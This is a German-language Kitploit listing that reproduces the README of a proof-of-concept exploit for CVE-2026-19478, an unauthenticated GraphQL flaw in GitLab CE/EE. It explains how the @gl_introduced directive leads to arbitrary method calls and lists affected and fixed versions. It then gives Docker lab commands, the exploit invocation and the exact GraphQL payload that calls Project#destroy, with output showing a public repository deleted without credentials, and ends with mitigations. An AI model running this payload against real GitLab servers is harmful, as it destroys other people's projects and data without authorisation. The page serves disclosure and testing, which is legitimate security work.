Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-19478 — Proof-of-Concept-Exploit für CVE-2026-19478, eine nicht authentifizierte GraphQL-Injection in GitLab CE/EE, die beliebige Methodenaufrufe und die Löschung von Projekten ermöglicht. | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-19478
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRed Teaming
GitHubeqstlab/cve-2026-19478

CVE-2026-19478

Proof-of-Concept-Exploit für CVE-2026-19478, eine nicht authentifizierte GraphQL-Injection in GitLab CE/EE, die beliebige Methodenaufrufe und die Löschung von Projekten ermöglicht.

Repository anzeigen
1vor 7h 2mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-19478 GitLab GraphQL unauthentifizierte Projektlöschung

★ CVE-2026-19478 GitLab GraphQL @gl_introduced unauthentifizierter PoC für beliebigen Methodenaufruf ★

https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b


Übersicht

CVE-2026-19478 ist eine unauthentifizierte Datenmanipulations-/Lösch-Schwachstelle in GitLab CE/EE (CVSS 9.4). GitLab liefert eine GraphQL-Client-Direktive @gl_introduced(version: "X.Y.Z") für die Vorwärtskompatibilität bei Rolling-Deployments. Wenn eine Abfrage ein Feld mit einer neueren Version als der laufende Server benennt, entfernt ein Tracer es vor der statischen Validierung, sodass die Abfrage validiert wird; bei der Ausführung wird das unbekannte Feld dann durch ein Fallback-Feld ohne Resolver aufgelöst. In graphql-ruby wird ein Feld ohne Resolver durch den Aufruf von object.public_send(field_name) aufgelöst — der Client kann also ein Feld benennen, das jeder 0-Argument-Methode auf dem aktuell aufgelösten Objekt entspricht, und der Server führt sie aus. Das Auflösen eines öffentlichen Projekts und das Anfordern eines „Zukunftsfelds" namens führt daher zur Ausführung von — was ein öffentliches Projekt löscht (oder Benutzerdaten verändert) .

destroy
Project#destroy
ohne Konto, Token oder Benutzerinteraktion

Betroffene Versionen

KategorieVersion
VerwundbarGitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3
Behoben18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 oder neuer

Auswirkungen

  • Unauthentifizierte Änderung/Löschung öffentlicher Projekte und Benutzerdaten
  • Massenhafte, skriptbare Zerstörung aller öffentlichen Repositorys auf einer im Internet erreichbaren Instanz
  • Der Fix leitet das Zukunftsfeld-Fallback über Resolvers::NilResolver (gibt nil zurück, ruft nie eine Methode auf)

Umgebung

Erstellen und starten Sie das verwundbare GitLab. Es seedet selbst ein öffentliches Repository victim/demo, das Sie unauthentifiziert löschen können. GitLab benötigt ~3–5 Minuten, um die Neukonfiguration und das Seeding abzuschließen.

root@kitploit:~
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
VoraussetzungZustand in diesem Labor
GitLab 18.2 – 19.2.319.2.2
Ein öffentliches Projekt, anonym erreichbarvictim/demo (geseedet)
Unauthentifizierter GraphQL-Endpunkt erreichbar/api/graphql freigegeben

PoC

Der Exploit gitlab_exploit.py löscht jedes öffentliche Repository, auf das Sie ihn richten, ohne Anmeldedaten. Er sendet die @gl_introduced-Payload, die den GraphQL-Feldnamen destroy in einen Project#destroy-Aufruf verwandelt, und bestätigt die Löschung anschließend über die REST-API (404).

root@kitploit:~
# python3 gitlab_exploit.py <Ziel-ip:port> --repo <gruppe/name>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
root@kitploit:~
[*] ziel ......... http://172.17.0.2:3000
[*] VORHER (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200  (existiert)
[*] PAYLOAD (unauth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] antwort ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] warte auf Abschluss der asynchronen Löschung ...
[+] NACHHER (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] ERFOLG - die UNAUTHENTIFIZIERTE Anfrage hat 'victim/demo' GELÖSCHT. CVE-2026-19478 bewiesen.

Optionen:

  • --detect — sicherer, nicht-destruktiver Check (ruft die harmlose Methode to_param statt destroy auf)
  • --repo gruppe/name — zielt auf ein beliebiges öffentliches Projekt auf der Instanz
  • --insecure — überspringt die TLS-Verifizierung für https://-Ziele

Gegenmaßnahmen

  • Aktualisieren Sie GitLab auf 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 oder neuer
  • Wenn Sie nicht sofort aktualisieren können, blockieren Sie die @gl_introduced-Direktive / den Versionsfilter-Pfad an einem Reverse-Proxy oder beschränken Sie den unauthentifizierten Zugriff auf /api/graphql
  • Reduzieren Sie die Angriffsfläche: Halten Sie GitLab vom öffentlichen Internet fern (VPN / Auth-Proxy) und minimieren Sie öffentliche Projekte

Analyse

  • KR:
  • EN:
Tool herunterladen